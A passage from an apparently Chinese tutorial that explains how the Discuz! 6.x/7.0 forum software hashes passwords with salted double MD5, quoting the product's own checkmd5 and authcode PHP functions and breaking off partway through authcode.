<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">（</span><span style="color: black; font-family: verdana;" lang="EN-US">2</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">）</span><span style="color: black; font-family: verdana;" lang="EN-US">Mysql</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">数据库客户端管理软件——</span><span style="color: black; font-family: verdana;" lang="EN-US">Mysql-Front</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">（</span><span style="color: black; font-family: verdana;" lang="EN-US">3</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">）</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">论坛版本</span><span style="color: black; font-family: verdana;" lang="EN-US">7.0</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">，下载地址：</span><span style="color: black; font-family: verdana;" lang="EN-US"><a href="http://download.comsenz.com/Discuz"><span style="color: #000000;">http://download.comsenz.com/Discuz</span></a></span></span></div>
<h1 style="margin: 17pt 0cm 16.5pt;"><span style="font-family: 宋体;">（一）</span><span lang="EN-US">Discuz!</span><span style="font-family: 宋体;">论坛加密方式</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></h1>
<div style="mso-element: para-border-div; mso-border-alt: none black 0cm; border-width: 1pt; border-color: black; padding: 0cm;">
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!6.X</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">以及后面的</span><span style="color: black; font-family: verdana;" lang="EN-US">7.0</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">版本都采用</span><span style="color: black; font-family: verdana;" lang="EN-US">md5</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">多重加密，其加密函数有</span><span style="color: black; font-family: verdana;" lang="EN-US">checkmd5</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">和</span><span style="color: black; font-family: verdana;" lang="EN-US">authcode</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">，</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana; mso-ansi-language: zh-cn;">该函数在</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana; mso-ansi-language: zh-cn;">缺省安装</span><span style="color: black; font-family: verdana;" lang="EN-US">include</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana; mso-ansi-language: zh-cn;">目录下的</span><span style="color: black; font-family: verdana;" lang="EN-US">global.func.Php</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana; mso-ansi-language: zh-cn;">文件中。先</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">采用</span><span style="color: black; font-family: verdana;" lang="EN-US">salt</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">方式，随机获得一个字符串，然后把明文密码</span><span style="color: black; font-family: verdana;" lang="EN-US">MD5</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">之后，再与随机字符串连接起来之后，再次</span><span style="color: black; font-family: verdana;" lang="EN-US">MD5</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">。加密密码为：</span><span style="color: black; font-family: verdana;" lang="EN-US">md5(md5($newpw).$salt) </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">其中</span><span style="color: black; font-family: verdana;" lang="EN-US">$salt</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">为</span><span style="color: black; font-family: verdana;" lang="EN-US">random</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">，返回的字符串</span><span style="color: black; font-family: verdana;" lang="EN-US">$hash</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">。这样就极大的提高了用户密码的安全性。</span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 12pt; color: black; font-family: system; mso-hansi-font-family: system; mso-ansi-language: zh-cn; mso-bidi-font-size: 10.0pt;"></span></strong></span></div>
</div>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">1.checkmd5</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial;">函数</span></h2>
<div style="mso-element: para-border-div; mso-border-alt: none black 0cm; border-width: 1pt; border-color: black; padding: 0cm;">
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-spacerun: yes;">   </span>function checkmd5($md5, $verified, $salt = &#8221;) {</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-tab-count: 1;">       </span>if(md5($md5.$salt) == $verified) {</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-tab-count: 2;">              </span>$result = !empty($salt) ? 1 : 2;</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-tab-count: 1;">       </span>} elseif(empty($salt)) {</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-tab-count: 2;">              </span>$result = $md5 == $verified ? 3 : ((strlen($verified) == 16 &amp;&amp; substr($md5, 8, 16) == $verified) ? 4 : 0);</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-tab-count: 1;">       </span>} else {</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-tab-count: 2;">              </span>$result = 0;</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-tab-count: 1;">       </span>}</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;"><span style="mso-tab-count: 1;">       </span>return $result;</span></span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21.1pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="color: black;" lang="EN-US"><span style="font-size: small;">}</span></span></em></strong></div>
</div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">以上代码主要度对密码进行检测，有三个参数：</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="color: black; font-family: verdana;" lang="EN-US"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>@param string $md5</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="color: black; font-family: verdana;" lang="EN-US"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>@param string $verified</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="color: black; font-family: verdana;" lang="EN-US"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>@param string $salt</span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-char-indent-count: 2.0;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">返回值为“</span><span style="color: black; font-family: verdana;" lang="EN-US">0</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”表示失败；为“</span><span style="color: black; font-family: verdana;" lang="EN-US">1</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”采用“</span><span style="color: black; font-family: verdana;" lang="EN-US">MD5 with salt</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”；为“</span><span style="color: black; font-family: verdana;" lang="EN-US">2</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”采用“</span><span style="color: black; font-family: verdana;" lang="EN-US">Dual MD5<span style="font-family: 宋体; mso-ascii-font-family: verdana;" lang="EN-US"><span lang="EN-US">”</span></span><span style="font-family: 宋体; mso-ascii-font-family: verdana;" lang="EN-US">；</span></span><span style="color: black; font-family: verdana;"> </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">为“</span><span style="color: black; font-family: verdana;" lang="EN-US">3</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”表示是采用正常</span><span style="color: black; font-family: verdana;" lang="EN-US">md5</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">加密方式，为“</span><span style="color: black; font-family: verdana;" lang="EN-US">4</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">”采用“</span><span style="color: black; font-family: verdana;" lang="EN-US">MD5-16<span style="font-family: 宋体; mso-ascii-font-family: verdana;" lang="EN-US"><span lang="EN-US">”</span></span><span style="font-family: 宋体; mso-ascii-font-family: verdana;" lang="EN-US">方式。</span></span></span></div>
<h2 style="margin: 13pt 0cm;"><span lang="EN-US"><span style="font-family: Arial;">2.authcode</span></span><span style="font-family: 黑体; mso-ascii-font-family: arial; mso-ansi-language: zh-cn;">函数</span></h2>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US">function authcode($string, $operation = &#8216;DECODE&#8217;, $key = &#8221;, $expiry = 0) {</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$ckey_length = 4;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$key = md5($key ? $key : $GLOBALS['discuz_auth_key']);</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$keya = md5(substr($key, 0, 16));</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$keyb = md5(substr($key, 16, 16));</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$keyc = $ckey_length ? ($operation == &#8216;DECODE&#8217; ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : &#8221;;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$cryptkey = $keya.md5($keya.$keyc);</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$key_length = strlen($cryptkey);</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$string = $operation == &#8216;DECODE&#8217; ? base64_decode(substr($string, $ckey_length)) : sprintf(&#8216;%010d&#8217;, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$string_length = strlen($string);</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$result = &#8221;;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$box = range(0, 255);</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>$rndkey = array();</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>for($i = 0; $i &lt;= 255; $i++) {</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$rndkey[$i] = ord($cryptkey[$i % $key_length]);</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>}</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>for($j = $i = 0; $i &lt; 256; $i++) {</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$j = ($j + $box[$i] + $rndkey[$i]) % 256;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$tmp = $box[$i];</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$box[$i] = $box[$j];</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$box[$j] = $tmp;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>}</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>for($a = $j = $i = 0; $i &lt; $string_length; $i++) {</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$a = ($a + 1) % 256;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$j = ($j + $box[$a]) % 256;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$tmp = $box[$a];</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$box[$a] = $box[$j];</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$box[$j] = $tmp;</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>}</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"> </span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 1;">      </span>if($operation == &#8216;DECODE&#8217;) {</span></em></strong></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 24.1pt; text-align: left; mso-char-indent-count: 2.0;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 12pt; color: black; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 仿宋_gb2312;" lang="EN-US"><span style="mso-tab-count: 2;">             </span>if((substr($result, 0, 10) == 0 || substr($result, 0, 10) &#8211; time() &gt; 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {</span></em></strong></div>
